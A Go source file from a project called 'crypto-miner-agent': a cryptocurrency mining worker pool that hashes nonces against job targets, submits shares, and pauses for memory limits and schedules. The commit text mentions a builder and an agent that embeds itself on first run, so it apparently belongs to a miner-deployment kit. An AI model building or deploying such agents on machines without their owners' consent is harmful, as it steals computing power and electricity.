Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
213 lines
4.0 KiB
Go
213 lines
4.0 KiB
Go
package miner
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"log"
|
|
"math/big"
|
|
"sync"
|
|
"sync/atomic"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/job"
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
type ShareHandler func(jobID, nonce, hash string)
|
|
|
|
type Pool struct {
|
|
threads int
|
|
cfg config.RuntimeConfig
|
|
reporter *stats.Reporter
|
|
engine *Engine
|
|
handler ShareHandler
|
|
schedule *ScheduleGuard
|
|
|
|
mu sync.RWMutex
|
|
currentJob *job.Job
|
|
stopCh chan struct{}
|
|
wg sync.WaitGroup
|
|
paused atomic.Bool
|
|
|
|
hashesTotal atomic.Uint64
|
|
sharesFound atomic.Uint64
|
|
}
|
|
|
|
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
|
|
if threads <= 0 {
|
|
threads = 1
|
|
}
|
|
return &Pool{
|
|
threads: threads,
|
|
cfg: cfg,
|
|
reporter: reporter,
|
|
engine: NewEngine(),
|
|
handler: handler,
|
|
schedule: NewScheduleGuard(cfg, reporter),
|
|
stopCh: make(chan struct{}),
|
|
}
|
|
}
|
|
|
|
func (p *Pool) SetJob(job *job.Job) {
|
|
p.mu.Lock()
|
|
defer p.mu.Unlock()
|
|
p.currentJob = job
|
|
if job == nil {
|
|
return
|
|
}
|
|
seed := job.SeedHash
|
|
if seed == "" && len(job.Blob) >= 64 {
|
|
seed = job.Blob[:64]
|
|
}
|
|
if err := p.engine.SetJob(seed, job.Blob); err != nil {
|
|
log.Printf("[miner] failed to set job: %v", err)
|
|
}
|
|
}
|
|
|
|
func (p *Pool) Start() {
|
|
for i := 0; i < p.threads; i++ {
|
|
p.wg.Add(1)
|
|
go p.worker(i)
|
|
}
|
|
go p.resourceGuard()
|
|
}
|
|
|
|
func (p *Pool) Stop() {
|
|
close(p.stopCh)
|
|
p.wg.Wait()
|
|
}
|
|
|
|
func (p *Pool) HashesPerSecond() float64 {
|
|
return float64(p.hashesTotal.Load())
|
|
}
|
|
|
|
func (p *Pool) ResetHashCounter() {
|
|
p.hashesTotal.Store(0)
|
|
}
|
|
|
|
func (p *Pool) resourceGuard() {
|
|
ticker := time.NewTicker(5 * time.Second)
|
|
defer ticker.Stop()
|
|
for {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
case <-ticker.C:
|
|
p.paused.Store(!p.miningAllowed())
|
|
}
|
|
}
|
|
}
|
|
|
|
func (p *Pool) miningAllowed() bool {
|
|
if !p.resourcesOK() {
|
|
return false
|
|
}
|
|
if p.schedule != nil && !p.schedule.Allowed() {
|
|
return false
|
|
}
|
|
return true
|
|
}
|
|
|
|
func (p *Pool) resourcesOK() bool {
|
|
freeMB := p.reporter.FreeMemoryMB()
|
|
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
|
return false
|
|
}
|
|
totalMB := p.reporter.TotalMemoryMB()
|
|
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
|
|
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
|
|
if usedPct > float64(p.cfg.MaxMemoryPct) {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
func (p *Pool) worker(id int) {
|
|
defer p.wg.Done()
|
|
|
|
var nonce uint32 = uint32(id * 1000000)
|
|
|
|
for {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
default:
|
|
}
|
|
|
|
if p.paused.Load() {
|
|
time.Sleep(2 * time.Second)
|
|
continue
|
|
}
|
|
|
|
p.mu.RLock()
|
|
job := p.currentJob
|
|
p.mu.RUnlock()
|
|
if job == nil || job.Blob == "" {
|
|
time.Sleep(500 * time.Millisecond)
|
|
continue
|
|
}
|
|
|
|
for batch := 0; batch < 256; batch++ {
|
|
select {
|
|
case <-p.stopCh:
|
|
return
|
|
default:
|
|
}
|
|
if p.paused.Load() {
|
|
break
|
|
}
|
|
|
|
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
|
if err != nil {
|
|
log.Printf("[miner] hash error: %v", err)
|
|
break
|
|
}
|
|
p.hashesTotal.Add(1)
|
|
nonce++
|
|
|
|
target := job.Target
|
|
if target == "" && job.Difficulty > 0 {
|
|
target = difficultyToTargetHex(job.Difficulty)
|
|
}
|
|
if target != "" && hashMeetsTarget(hashHex, target) {
|
|
p.sharesFound.Add(1)
|
|
if p.handler != nil {
|
|
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func uint32ToHex(n uint32) string {
|
|
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
|
|
return hexEncode(b)
|
|
}
|
|
|
|
func hexEncode(b []byte) string {
|
|
const hexdigits = "0123456789abcdef"
|
|
out := make([]byte, len(b)*2)
|
|
for i, v := range b {
|
|
out[i*2] = hexdigits[v>>4]
|
|
out[i*2+1] = hexdigits[v&0x0f]
|
|
}
|
|
return string(out)
|
|
}
|
|
|
|
func difficultyToTargetHex(difficulty int64) string {
|
|
if difficulty <= 0 {
|
|
return ""
|
|
}
|
|
maxTarget := new(big.Int)
|
|
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
|
|
target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
|
|
bytes := target.Bytes()
|
|
padded := make([]byte, 32)
|
|
copy(padded[32-len(bytes):], bytes)
|
|
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
|
padded[i], padded[j] = padded[j], padded[i]
|
|
}
|
|
return hex.EncodeToString(padded)
|
|
}
|